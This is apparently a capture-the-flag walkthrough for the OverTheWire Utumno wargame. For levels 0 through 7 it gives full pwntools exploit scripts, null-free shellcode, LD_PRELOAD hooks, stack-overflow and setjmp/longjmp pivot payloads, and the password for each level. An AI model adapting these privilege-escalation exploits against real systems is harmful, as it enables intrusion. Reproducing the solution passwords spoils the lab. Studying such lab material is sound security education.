OverTheWire - Utumno

utumno

utumno.labs.overthewire.org 2227

Utumno: 10 levels (0-9). Harder than Behemoth — creative exploitation: LD_PRELOAD hooking, argv/envp manipulation, integer overflows, negative index writes, setjmp/longjmp interference with pointer mangling.

Each user gets /tmp/utumno<N>/ for temp files.

1
2
3
4
5
6
SSH Information
Host: utumno.labs.overthewire.org
Port: 2227
User: utumno0
Passwords: /etc/utumno_pass/
Binaries: /utumno/

level 0 → level 1

Initial password: utumno0

Level 0: The binary is exec-only (no read permission). Calls puts() with the password string embedded in .rodata. Use LD_PRELOAD to hook puts() and dump the binary's data section from within the process:

1
2
3
4
5
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ gcc -Wall -shared -fPIC -ldl -m32 -o hook32.so ld-preload-hooks.c -DENABLE_ALL
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ LD_PRELOAD=./hook32.so /utumno/utumno0
[LD_PRELOAD hook loaded] enabled: ALL
[HOOK puts] 'Read me! :P'
Read me! :P
1
2
3
4
5
6
7
8
9
10
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ vim hook-memdump.c
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ gcc -m32 -shared -fPIC -o hook-memdump.so hook-memdump.c
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ LD_PRELOAD=./hook-memdump.so /utumno/utumno0
x.so.2
_used
rt_main
_2.0
on_start__
: **********
# ...

you can get the hook script from my scripts repo

ctf-tool

or use this script

1
2
3
4
5
6
7
8
9
10
11
12
// gcc -m32 -fPIC -shared preload.c -o preload.so
#include <stdio.h>
int puts(const char *str) {
const unsigned char *p = (const unsigned char *)0x0804a000;
for (int i = 0; i < 0x1000; i += 16) {
int ok = 1;
for (int j = 0; j < 16 && p[i+j]; j++)
if (p[i+j] < 0x20 || p[i+j] > 0x7e) ok = 0;
if (ok) fprintf(stderr, "%s\n", p+i);
}
return 0;
}
1
2
$ gcc -m32 -fPIC -shared preload.c -o preload.so
$ LD_PRELOAD=./preload.so /utumno/utumno0 2>&1

The password sits at 0x0804a010 in the binary's data section as a literal string.

ytvWa6DzmL

level 1 → level 2

Level 1: Binary reads filenames from a directory and executes the part after sh_ as raw machine code.

Binary logic:

  1. Check argv[1] != NULL, else exit(1)
  2. mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) → RWX region
  3. opendir(argv[1]), loop readdir()
  4. For each entry: strncmp(dname, "sh", 3) == 0 → match
  5. run(d_name + 3) → chdir(argv[1]), copy shellcode to RWX region, jmp there

So the shellcode IS the filename (after "sh_"). Constraints:

  • No null bytes (strcpy stops at \0)
  • No / (0x2f) — path separator, kernel rejects it in the filename
  • Max 252 bytes (Linux filename limit 255 − 3 for "sh_")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
r2 -A -q -c "pdf @ sym.main" /utumno/utumno1
┌ 173: int dbg.main (char **envp);
│ `- args(sp[0x8..0x10]) vars(4:sp[0x0..0xc])
│ 0x0804921b 55 push ebp ; utumno1.c:40:1 ; int main(int argc,char ** argv);
│ 0x0804921c 89e5 mov ebp, esp
│ 0x0804921e 83ec08 sub esp, 8
│ 0x08049221 8b450c mov eax, dword [envp] ; utumno1.c:44:14
│ 0x08049224 83c004 add eax, 4
│ 0x08049227 8b00 mov eax, dword [eax]
│ 0x08049229 85c0 test eax, eax ; utumno1.c:44:8
│ ┌─< 0x0804922b 7507 jne 0x8049234
│ │ 0x0804922d 6a01 push 1 ; utumno1.c:46:9 ; 1 ; int status
│ │ 0x0804922f e81cfeffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from dbg.main @ 0x804922b(x)
│ └─> 0x08049234 6a00 push 0 ; utumno1.c:49:11
│ 0x08049236 6aff push 0xffffffffffffffff
│ 0x08049238 6a22 push 0x22 ; '\"' ; 34
│ 0x0804923a 6a07 push 7 ; 7
│ 0x0804923c 6800100000 push 0x1000
│ 0x08049241 6a00 push 0
│ 0x08049243 e818feffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│ 0x08049248 83c418 add esp, 0x18
│ 0x0804924b a32cb20408 mov dword [obj.rwx], eax ; utumno1.c:49:9 ; [0x804b22c:4]=0
│ 0x08049250 a12cb20408 mov eax, dword [obj.rwx] ; utumno1.c:50:9 ; [0x804b22c:4]=0
│ 0x08049255 85c0 test eax, eax ; utumno1.c:50:8
│ ┌─< 0x08049257 7507 jne 0x8049260
│ │ 0x08049259 6a02 push 2 ; utumno1.c:51:9 ; 2 ; int status
│ │ 0x0804925b e8f0fdffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from dbg.main @ 0x8049257(x)
│ └─> 0x08049260 8b450c mov eax, dword [envp] ; utumno1.c:53:22
│ 0x08049263 83c004 add eax, 4
│ 0x08049266 8b00 mov eax, dword [eax] ; utumno1.c:53:10
│ 0x08049268 50 push eax
│ 0x08049269 e832feffff call sym.imp.opendir
│ 0x0804926e 83c404 add esp, 4
│ 0x08049271 8945f8 mov dword [var_8h], eax
│ 0x08049274 837df800 cmp dword [var_8h], 0 ; utumno1.c:54:8
│ ┌─< 0x08049278 7533 jne 0x80492ad
│ │ 0x0804927a 6a01 push 1 ; utumno1.c:56:9 ; 1 ; int status
│ │ 0x0804927c e8cffdffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from dbg.main @ 0x80492bf(x)
│ ┌──> 0x08049281 8b45fc mov eax, dword [s2] ; utumno1.c:61:30
│ ╎│ 0x08049284 83c00b add eax, 0xb ; 11
│ ╎│ 0x08049287 6a03 push 3 ; utumno1.c:61:13 ; 3 ; size_t n
│ ╎│ 0x08049289 50 push eax ; const char *s2
│ ╎│ 0x0804928a 6808a00408 push 0x804a008 ; const char *s1
│ ╎│ 0x0804928f e8fcfdffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
│ ╎│ 0x08049294 83c40c add esp, 0xc
│ ╎│ 0x08049297 85c0 test eax, eax ; utumno1.c:61:12
│ ┌───< 0x08049299 7512 jne 0x80492ad
│ │╎│ 0x0804929b 8b45fc mov eax, dword [s2] ; utumno1.c:63:17
│ │╎│ 0x0804929e 83c00b add eax, 0xb ; 11
│ │╎│ 0x080492a1 83c003 add eax, 3 ; utumno1.c:63:13
│ │╎│ 0x080492a4 50 push eax ; int32_t arg_8h
│ │╎│ 0x080492a5 e81cffffff call dbg.run
│ │╎│ 0x080492aa 83c404 add esp, 4
│ │╎│ ; CODE XREFS from dbg.main @ 0x8049278(x), 0x8049299(x)
│ └─└─> 0x080492ad ff75f8 push dword [var_8h] ; utumno1.c:59:18
│ ╎ 0x080492b0 e8cbfdffff call sym.imp.readdir
│ ╎ 0x080492b5 83c404 add esp, 4
│ ╎ 0x080492b8 8945fc mov dword [s2], eax
│ ╎ 0x080492bb 837dfc00 cmp dword [s2], 0 ; utumno1.c:59:31
│ └──< 0x080492bf 75c0 jne 0x8049281
│ 0x080492c1 b800000000 mov eax, 0 ; utumno1.c:67:12
│ 0x080492c6 c9 leave ; utumno1.c:68:1
└ 0x080492c7 c3 ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Build the shellcode, verify it has no nulls or /
$ python3 -c "
from pwn import *; context.arch='i386'
sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80')
import sys; sys.stdout.buffer.write(sc)
" | xxd | head -1
# Should show no 00 or 2f bytes

# Set up the directory: symlink to /bin/sh, shellcode as filename
$ mkdir /tmp/x
$ ln -sf /bin/sh /tmp/x/code
$ python3 -c "
import sys, os; from pwn import *; context.arch='i386'
sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80')
# Create file with raw shellcode bytes as filename (must be bytes path)
fd = os.open(b'/tmp/x/sh_' + sc, os.O_CREAT | os.O_WRONLY); os.close(fd)
"
$ /utumno/utumno1 /tmp/x
$ cat /etc/utumno_pass/utumno2

The shellcode does setreuid(16002,16002) (utumno2 UID = 0x3e82) then execve("code", ["code"], NULL) where "code" is a symlink to /bin/sh. The binary's run() calls chdir(argv[1]) before executing the shellcode, so the relative path "code" resolves correctly under /tmp/x/.

RdUzprHKSm

level 2 → level 3

Level 2: Binary checks argc == 0 then does strcpy(local_buf, envp[9]). Need argc == 0 via execve(path, NULL, envp). The 10th envp entry (envp[9]) overflows the 12-byte buffer, overwriting saved EBP and return address. Put NOP sled + shellcode in an earlier envp entry and point the return address there.

Write a Python script using pwntools + ctypes to call execve() with crafted envp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *
import ctypes

context.arch = 'i386'

shellcode = asm("""
xor eax, eax
xor ebx, ebx
mov bx, 0x3e83 /* utumno3 UID */
xor ecx, ecx
mov cx, 0x3e83
mov al, 71 /* setreuid */
int 0x80
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11 /* execve */
int 0x80
""")

nop_sled_len = 52
payload = b'\x90' * nop_sled_len + shellcode

# Find NOP address with GDB first!
# On gibson-1 with clean env: 0xffffdfb0 (52 NOPs before shellcode)
ret_addr = 0xffffdfb0
overflow = b'A' * 16 + p32(ret_addr)

# Build envp via ctypes (to get argc=0, pass NULL argv)
libc = ctypes.CDLL(None)
envp_entries = [b''] * 8 + [payload, overflow, None]
envp_arr = (ctypes.c_char_p * len(envp_entries))(*envp_entries)

libc.execve(b'/utumno/utumno2', None, envp_arr)

envp layout:

  • indices 0-7: empty strings (filler)
  • index 8: NOP×52 + shellcode (return address points here)
  • index 9: "AAAA×4" + p32(ret_addr) — overflow data, strcpy'd into buffer

Find the NOP sled address in GDB, update ret_addr, then run:

1
2
3
$ python3 exploit.py
$ id
$ cat /etc/utumno_pass/utumno3
h3kVKJZuid

level 3 → level 4

Level 3: Byte-by-byte return address overwrite. Binary reads pairs of bytes (position, value) via getchar() in a loop. The position byte is XOR'd with (iteration * 3) before being used as an offset from [ebp - 0x24] (or [ebp - 0x20] on the current binary version — check the offset with GDB). Need to compute position bytes that target EIP after the XOR transform.

The loop runs up to 24 iterations. We send 4 pairs for the 4 bytes of the return address, then fill remaining slots with harmless writes.

Shellcode goes in EGG environment variable with a NOP sled. Find the sled address with GDB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
from pwn import *
import struct
import os
import subprocess

context.arch = 'i386'

shellcode = asm("""
xor eax, eax
xor ebx, ebx
mov bx, 0x3e84 /* utumno4 UID */
xor ecx, ecx
mov cx, 0x3e84
mov al, 71 /* setreuid */
int 0x80
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11 /* execve */
int 0x80
""")

# Find NOP address in EGG env var with GDB first!
# On gibson-1 with clean env: NOP sled at ~0xffffde00
NOP_ADDR = 0xffffde00

# Position bytes: write at [ebp - 0x20] + (P XOR (i*3))
# Target EIP at ebp+4, so need offset = 0x24 from base
# P XOR (i*3) = 0x24 → P = 0x24 XOR (i*3)
target = struct.pack('<I', NOP_ADDR)
payload = bytes([
0x24, target[0], # i=0: 0x24 XOR 0 = 0x24
0x27, target[1], # i=1: 0x24 XOR 3 = 0x27
0x22, target[2], # i=2: 0x24 XOR 6 = 0x22
0x2d, target[3], # i=3: 0x24 XOR 9 = 0x2d
])

# Fill remaining iterations with writes to saved EBP (harmless)
for j in range(4, 24):
p_val = (0x20) ^ (j * 3) # writes to ebp + 0
payload += bytes([p_val & 0xff, 0x41])

# Commands for the spawned shell (read from remaining stdin)
payload += b'id\ncat /etc/utumno_pass/utumno4\nexit\n'

# Launch binary with EGG env var containing NOP sled + shellcode
env = os.environ.copy()
env['EGG'] = b'\x90' * 500 + shellcode
subprocess.run(['./utumno/utumno3'], input=payload, env=env)
1
$ python3 exploit.py
qHWLExh7C5

level 4 → level 5

Level 4: Integer overflow in memcpy(). Arg1 is converted with atoi(), checked as 16-bit ≤ 63, but the actual memcpy size uses the full 32-bit value. Pass 65536 as arg1 → 16-bit truncation yields 0 (≤ 63), but memcpy copies 65536 bytes.

Offset to EIP: 65286 bytes. Put NOP sled + shellcode in the buffer itself (second argument), with return address pointing into the NOP sled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from pwn import *
import struct
import os
import subprocess

context.arch = 'i386'

shellcode = asm(shellcraft.cat('/etc/utumno_pass/utumno5'))

# Second argument: NOP + shellcode + padding + ret addr
OFFSET = 65286
payload = b'\x90' * 500
payload += shellcode
payload += b'\x90' * (OFFSET - len(payload))

# NOP address (find with GDB; 0xfffddd2a on gibson-1)
NOP_ADDR = 0xfffddd2a
payload += struct.pack('<I', NOP_ADDR)
# Pad to fill 65536 bytes (matches the overflow size via arg1)
payload += b'\x90' * (65536 - len(payload))

# Pass payload as argv[2] directly (no shell byte-corruption)
subprocess.run(['/utumno/utumno4', '65536', payload])
1
$ python3 exploit.py
vY134qxapL

level 5 → level 6

Level 5: Requires argc == 0 (or argc == 1 with argv[0][0] == 0). Accesses argv[10] which equals envp[9] (since argv[0]=NULL for argc=0). The hihi() function does strlen(envp[9]); if > 19 chars, uses strncpy(buf, envp[9], 20) overwriting 12-byte buffer + saved EBP + return address. Shellcode goes in envp[8].

Critical: On this server, execve(path, NULL, envp) sets argc=1 with argv[0]="". So argv[10] = envp[8], not envp[9]. Need to swap: envp[8] = overflow data, envp[9] = shellcode with NOP sled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python3
from pwn import *
import ctypes

context.arch = 'i386'

shellcode = asm(shellcraft.cat('/etc/utumno_pass/utumno6'))
nop_sled = b'\x90' * 100 + shellcode

# overflow: strncpy copies 20 bytes max
# 0-11: fills 12-byte buffer
# 12-15: overwrites saved EBP
# 16-19: overwrites return address -> NOP sled
NOP_ADDR = 0xffffdf44 # find NOP address in envp[9] with GDB
overflow = b'A' * 12 + b'B' * 4 + p32(NOP_ADDR)

# Build envp: argv[10] = envp[8] on this server (argc=1, argv[0]="")
envp_entries = [b''] * 8 + [overflow, nop_sled, None]
envp_arr = (ctypes.c_char_p * len(envp_entries))(*envp_entries)

libc = ctypes.CDLL(None)
libc.execve(b'/utumno/utumno5', None, envp_arr)
1
$ python3 exploit.py
aGlKWrixsh

level 6 → level 7

Level 6: Table-based key-value store with 3 args: position (base10), value (base16), description (string). A write at [ebp + pos*4 - 0x30] with position = -1 overwrites the malloc pointer at [ebp - 0x34]. Then strcpy(corrupted_malloc_ptr, argv[3]) copies description to the overwritten address — a controlled write to anywhere.

Attack: Position -1 overwrites the malloc pointer at [ebp - 0x34] with the return address as an integer. Then strcpy(corrupted_ptr, argv[3]) copies the packed shellcode address to the return slot — hijacking EIP.

Write primitive chain:

  1. [ebp - 0x34] = ret_addr via the table write (pos=-1, value=0xffffda9c)
  2. strcpy(0xffffda9c, argv[3]) — writes 4 bytes of packed NOP address to the return slot
  3. Function returns → EIP = NOP sled in EGG → shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
from ctypes import *
from pwn import *; context.arch='i386'
import struct

libc = CDLL('libc.so.6')

# Build EGG: NOP sled + null-free shellcode(same to use cat)
sc = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/etc/utumno_pass/utumno7']))
egg = b'\x90' * 300 + sc

# Find these on the server via GDB (varies per environment):
# EBP ≈ 0xffffda98 → RET at 0xffffda9c
# NOP sled in EGG ≈ 0xffffddb0
ret_addr_loc = 0xffffda9c # write target: return slot
nop_addr = 0xffffddb0 # shellcode landing zone in EGG

argv = (c_char_p * 4)()
argv[0] = b'/utumno/utumno6'
argv[1] = b'-1'
argv[2] = f'{ret_addr_loc:#x}'.encode() # overwrite malloc ptr → ret addr
argv[3] = struct.pack('<I', nop_addr) # strcpy'd to ret slot

envp = (c_char_p * 2)()
envp[0] = egg
envp[1] = None

libc.execve(b'/utumno/utumno6', argv, envp)

Address finding: Use GDB on the server to get EBP and NOP location. GDB vs non-GDB stack shift is ~0x60 on gibson-1 (from extra env vars GDB adds). Run the exploit directly (not in GDB) with addresses found via GDB + known offset.

VHOuCx7iA5

level 7 → utumno8

Level 7: Stack BOF with setjmp/longjmp. Binary allocates a 288-byte buffer at [ebp-0x120], a jmp_buf at [ebp-0xa0] (128 bytes into buffer), calls _setjmp, strcpy from argv[1], then longjmp.

glibc 2.39 PTR_MANGLE: longjmp uses pointer mangling on ESP and EIP (XOR with thread-local secret + rotate left 9). Only EBP is stored/restored raw. Direct EIP overwrite via jmp_buf doesn't work.

Strategy: Overwrite jmp_buf[3] (EBP, NOT mangled) at buffer offset 140 with the buffer address. After longjmp restores EBP = buffer_addr, the leave; ret sequence at vuln+84 pivots there.

Payload (144 bytes, null at byte 144 preserves mangled ESP/EIP):

1
2
3
4
5
6
7
8
buf[0-3]:   junk (popped into EBP by leave)
buf[4-7]: buf_addr + 8 (popped into EIP by ret)
buf[8-127]: shellcode + NOP padding (pwntools generates ~90 bytes)
buf[128-131]: EBX (any)
buf[132-135]: ESI (any)
buf[136-139]: EDI (any)
buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot)
null at 144

Two critical details:

  1. Null-free shellcode: The shellcode must NOT contain null bytes (strcpy stops at the first null). Use mov bl, val; mov bh, val instead of mov ebx, val32 which embeds nulls in the high bytes.
  2. Avoid /bin/sh: Dash drops EUID to RUID on startup (privilege sanitization). Use execve("/bin/cat", ["/bin/cat", "/etc/utumno_pass/utumno8", NULL], NULL) instead — no shell, no privilege drop.
  3. Buffer address finding: Since randomize_va_space=0 but GDB subtly shifts the stack, use a test shellcode (exit(42)) to brute-force the address. On gibson-1 with full SSH environment, buffer = 0xffffda2c.

Exploit script (exploit.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
import os, sys, struct
from pwn import *; context.arch='i386'

buf_addr = int(sys.argv[1], 16) if len(sys.argv) > 1 else 0xffffda2c

# Build payload (145 bytes, null at byte 144 preserves mangled ESP/EIP)
payload = bytearray(145)
# buf[0-3]: junk (popped into EBP by leave)
payload[0:4] = struct.pack('<I', 0x41414141)
# buf[4-7]: buf_addr + 8 (popped into EIP by ret)
payload[4:8] = struct.pack('<I', buf_addr + 8)
# buf[8-127]: null-free shellcode + NOP padding
sc = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/etc/utumno_pass/utumno8']))
payload[8:8+len(sc)] = sc
for i in range(8 + len(sc), 128):
payload[i] = 0x90
# buf[128-131]: EBX (any)
payload[128:132] = struct.pack('<I', 0x42424242)
# buf[132-135]: ESI (any)
payload[132:136] = struct.pack('<I', 0x43434343)
# buf[136-139]: EDI (any)
payload[136:140] = struct.pack('<I', 0x44444444)
# buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot)
payload[140:144] = struct.pack('<I', buf_addr)
# byte 144 = 0 (strcpy stop → preserves mangled ESP/EIP)
payload[144] = 0

os.execve('/utumno/utumno7', ['/utumno/utumno7', bytes(payload)], os.environ)
1
$ python3 exploit.py ffffda2c
oqnM7PWFIn